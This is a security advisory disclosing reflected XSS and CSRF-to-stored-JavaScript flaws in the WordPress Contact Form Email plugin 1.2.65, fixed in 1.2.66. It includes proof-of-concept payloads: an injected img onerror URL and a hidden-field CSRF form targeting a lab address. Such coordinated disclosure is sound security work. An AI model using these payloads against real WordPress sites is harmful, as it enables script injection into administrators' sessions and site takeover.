WordPress Contact Form Email 1.2.65 CSRF / Cross Site Scripting

WordPress Contact Form Email plugin version 1.2.65 suffers from cross site request forgery and cross site scripting vulnerabilities.


MD5 | a45930f318c3daf72f829b4afa303a37

  * Vulnerability: XSS & CSRF
* Affected Software: [Contact Form
Email](https://wordpress.org/plugins/contact-form-to-email/)
* Affected Version: 1.2.65
* Patched Version: 1.2.66
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/31/2018
* Vendor Fix: 10/31/2018
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

## Reflected XSS

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Contact Form Email WordPress plugin is vulnerable to reflected XSS
as it echoes the item parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item='"><img+src%3Dx+onerror%3Dalert(1)>

##### Code

contact-form-to-email/cp_admin_int_edition.inc.php
<input name="cfwpp_edit" type="hidden" value="<?php echo
$_GET["item"]; ?>" />


## CSRF (to XSS)

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The plugin allows the addition of custom JavaScript to forms. Because
the request to place this addition is not protected against CSRF, an
attacker can place arbitrary JavaScript into the application if an
authenticated user visits a webpage containing malicious HTML and/or
JavaScript.

##### Proof of Concept

<html>
<body>
<form
action="http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item=js"
method="POST">
<input type="hidden" name="CP_CFTE_post_edition"
value="1" />
<input type="hidden" name="cfwpp_edit" value="js" />
<input type="hidden" name="editionarea" value="alert(2);" />
<input type="hidden" name="submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


##### Timeline

- 10/31/2018 Asked for email address via contact form
- 10/31/2018 Vendor responds, advisory sent
- 10/31/2018 Vendor releases fix
- 02/05/2019 Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-contact-form-email-xss-csrf/

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89



Related Posts